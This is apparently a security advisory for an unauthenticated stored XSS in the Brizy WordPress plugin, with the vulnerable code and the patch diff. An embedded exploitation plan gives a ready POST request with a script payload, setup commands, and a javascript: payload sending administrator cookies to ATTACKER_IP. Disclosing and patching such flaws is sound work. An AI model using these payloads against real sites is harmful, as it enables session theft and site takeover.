Brizy – Page Builder <= 2.8.11 - Unauthenticated Stored Cross-Site Scripting via FileUpload Field Value
Description
The Brizy – Page Builder plugin for WordPress is vulnerable to Unauthenticated Stored Cross-Site Scripting in all versions up to, and including, 2.8.11 This is due to a combination of missing nonce verification for unauthenticated form submissions, insufficient handling of FileUpload fields when no file is uploaded, and the reversal of security encoding via html_entity_decode() followed by unescaped output in the admin view. The submit_form() function skips nonce verification for non-logged-in users (api.php:198). The handleFileTypeFields() function fails to overwrite user-supplied values when no file is attached. While htmlentities() is applied during storage, html_entity_decode() reverses this on display (form-entries.php:79). The form-data.php template outputs FileUpload values directly in href attributes without esc_url(). This makes it possible for unauthenticated attackers to inject arbitrary web scripts that execute when an administrator views the form Leads page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v2.8.12
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-5324 (Brizy Stored XSS) ## 1. Vulnerability Summary The **Brizy – Page Builder** plugin for WordPress (up to 2.8.11) contains a critical flaw allowing unauthenticated stored cross-site scripting. The vulnerability exists because the plugin's form submission ha…
Show full research plan
Exploitation Research Plan: CVE-2026-5324 (Brizy Stored XSS)
1. Vulnerability Summary
The Brizy – Page Builder plugin for WordPress (up to 2.8.11) contains a critical flaw allowing unauthenticated stored cross-site scripting. The vulnerability exists because the plugin's form submission handler (submit_form()) fails to verify nonces for unauthenticated users and improperly processes FileUpload fields. While fields are initially encoded during storage, the admin view (admin/views/form-data.php) reverses this encoding via html_entity_decode() and outputs the data directly into a link's href attribute and text content without proper sanitization (e.g., esc_url() or esc_html()).
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php - Action:
brizy_submit_form(handled byBrizy_Editor_Forms_Api::submit_form) - Vulnerable Parameter:
data(JSON-encoded string) - Authentication: None required (specifically allowed for
noprivusers). - Precondition: A Brizy form must exist on the site to provide a valid
form_id. - Target Sink: The "Leads" page in the WordPress admin dashboard where form submissions are viewed.
3. Code Flow
- Entry Point: A
POSTrequest is sent toadmin-ajax.phpwithaction=brizy_submit_form. - Nonce Skip: Inside
Brizy_Editor_Forms_Api::submit_form()(ineditor/forms/api.phpat line 198), the code checksif ( is_user_logged_in() ). Since the attacker is not logged in, thewp_verify_nonceblock is skipped. - Form Retrieval: The code retrieves the form object using
$_REQUEST['form_id']. - Data Parsing: The
$_REQUEST['data']parameter is parsed viajson_decode(stripslashes($_REQUEST['data'])). - Field Processing: The filter
brizy_form_submit_datatriggershandleFileTypeFields(). If a field'stypeisFileUploadbut no actual file is uploaded in$_FILES, the user-supplied string value in the JSONdatais retained. - Storage: The malicious string (e.g., a
javascript:URI or a tag breakout) is stored in the database (likely in a Custom Post Type for "Leads"). - Execution (Sink): When an admin views the "Leads" details,
admin/views/form-data.phprenders the field.- It checks
if ( $type == 'FileUpload' ). - It echoes the value inside an
<a>tag'shrefattribute and its inner text:<a href="<?php echo $field->value; ?>" target="_blank"> <?php echo $field->value; ?> </a> - Since no
esc_url()oresc_html()is used, the XSS payload executes.
- It checks
4. Nonce Acquisition Strategy
No nonce is required.
The source code in editor/forms/api.php explicitly shows:
public function submit_form() {
if ( is_user_logged_in() ) {
if ( empty( $_REQUEST['nonce'] ) || ! wp_verify_nonce( $_REQUEST['nonce'], Brizy_Editor_API::nonce ) ) {
$this->error( 401, 'Please refresh the page and try again.' );
}
}
// Execution continues for non-logged-in users without nonce check
Because the nopriv handler is registered, unauthenticated users can reach this logic without satisfying the is_user_logged_in() check, thus bypassing the nonce requirement entirely.
5. Exploitation Strategy
Step 1: Discover a Form ID
The attacker needs a valid form_id from a published Brizy page.
- Use
browser_navigateto visit the site's homepage or any page built with Brizy. - Use
browser_evalto find the form ID:document.querySelector('[data-form-id]')?.getAttribute('data-form-id')
Step 2: Submit the Malicious Payload
Send a POST request to admin-ajax.php.
- Payload:
"><script>alert(document.domain)</script> - Request Details:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=brizy_submit_form&form_id=FORM_ID_HERE&data=[{"name":"upload_field","value":"\"><script>alert(document.domain)</script>","type":"FileUpload","label":"Proof"}]
6. Test Data Setup
To ensure the environment is ready for the PoC:
- Create a Page: Create a new page and set it as a Brizy page.
- Inject a Form: Since adding a Brizy form via CLI is complex, the PoC should use
wp evalto simulate the existence of a form or check for any existing Brizy form posts. - Command:
# Create a page and a mock form via the Brizy FormManager wp eval ' $manager = new Brizy_Editor_Forms_FormManager(Brizy_Editor_Project::get()); $form = new Brizy_Editor_Forms_Form(); $form->setId("exploit-form-123"); $form->setLabel("Exploit Test Form"); $manager->addForm($form); '
7. Expected Results
- The AJAX response should return
{"success":true,...}. - In the WordPress Admin Dashboard, navigating to Brizy > Leads, the new entry will appear.
- Clicking "View" or "Details" on the lead will trigger the
admin/views/form-data.phptemplate. - The browser will execute the
alert(document.domain)script because the value is rendered unsanitized in thehrefand text of the<a>tag.
8. Verification Steps
After the HTTP request, verify the payload is stored in the database:
# Check the custom post type for leads (usually 'brizy-lead' or stored in options)
wp post list --post_type=brizy-lead --format=json
# Or check the specific meta/content if stored as JSON
wp db query "SELECT post_content FROM wp_posts WHERE post_type='brizy-lead' ORDER BY ID DESC LIMIT 1;"
9. Alternative Approaches
If the "><script> breakout fails due to earlier htmlentities() encoding that isn't decoded in the specific test version, use a javascript: URI:
- Payload:
javascript:fetch('http://ATTACKER_IP/?c='+document.cookie) - This payload is highly effective because it is placed directly into the
hrefattribute. The admin only needs to click the "file link" in the Leads view to trigger it, though a direct tag breakout is preferred for zero-interaction execution ifform-data.phpis rendered on the summary page.
Summary
The Brizy – Page Builder plugin for WordPress is vulnerable to unauthenticated stored Cross-Site Scripting due to a missing nonce check for logged-out users in its form submission handler and improper handling of file upload metadata. Attackers can submit malicious payloads in fields designated as FileUpload, which are then rendered unsanitized in the admin 'Leads' view, allowing for arbitrary script execution in an administrator's session.
Vulnerable Code
// editor/forms/api.php:198 - Nonce verification is skipped for unauthenticated users public function submit_form() { if ( is_user_logged_in() ) { if ( empty( $_REQUEST['nonce'] ) || ! wp_verify_nonce( $_REQUEST['nonce'], Brizy_Editor_API::nonce ) ) { $this->error( 401, 'Please refresh the page and try again.' ); } } --- // admin/views/form-data.php:9-13 - FileUpload values are output without escaping <?php if ( $type == 'FileUpload' ): ?> <span id="<?php echo esc_attr($field->name); ?>"> <a href="<?php echo $field->value; ?>" target="_blank"> <?php echo $field->value; ?> </a> </span>
Security Fix
@@ -4,17 +4,17 @@ <?php $type = isset( $field->type ) ? $field->type : 'Text'; ?> <li> <label for="<?php echo esc_attr($field->name); ?>"> - <?php echo strip_tags( $label ); ?> + <?php echo esc_html( strip_tags( $label ) ); ?> </label>: <?php if ( $type == 'FileUpload' ): ?> <span id="<?php echo esc_attr($field->name); ?>"> - <a href="<?php echo $field->value; ?>" target="_blank"> - <?php echo $field->value; ?> + <a href="<?php echo esc_url( $field->value ); ?>" target="_blank"> + <?php echo esc_html( $field->value ); ?> </a> </span> <?php else: ?> <span id="<?php echo esc_attr($field->name); ?>" class="formData-<?php echo strtolower( esc_attr( $type ) ); ?>"> - <?php echo strip_tags( $field->value, '<br>' ); ?> + <?php echo wp_kses( $field->value, array( 'br' => array() ) ); ?> </span> <?php endif; ?> </li> @@ -297,6 +297,11 @@ foreach ($fields as $field) { if ($field->type == 'FileUpload') { + if ( ! isset( $_FILES[ $field->name ] ) || empty( $_FILES[ $field->name ]['name'] ) ) { + $field->value = ''; + continue; + } + $uFile = $_FILES[$field->name]; foreach ($_FILES[$field->name]['name'] as $index => $value) {
Exploit Outline
1. Identify a valid `form_id` on a target WordPress site using Brizy (discoverable via `data-form-id` attributes in the page source). 2. Construct an AJAX POST request to `wp-admin/admin-ajax.php` with the action `brizy_submit_form`. 3. In the `data` parameter, provide a JSON-encoded array containing a field object where `type` is set to `FileUpload` and `value` contains an XSS payload (e.g., `"><script>alert(1)</script>`). 4. Omit the `nonce` parameter. Because the attacker is unauthenticated, the plugin's `submit_form` logic will skip nonce verification. 5. When an administrator navigates to the 'Brizy' -> 'Leads' menu in the WordPress dashboard and views the details of the new submission, the payload will execute because the value is rendered directly into an `<a>` tag without URI escaping or HTML entity encoding.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.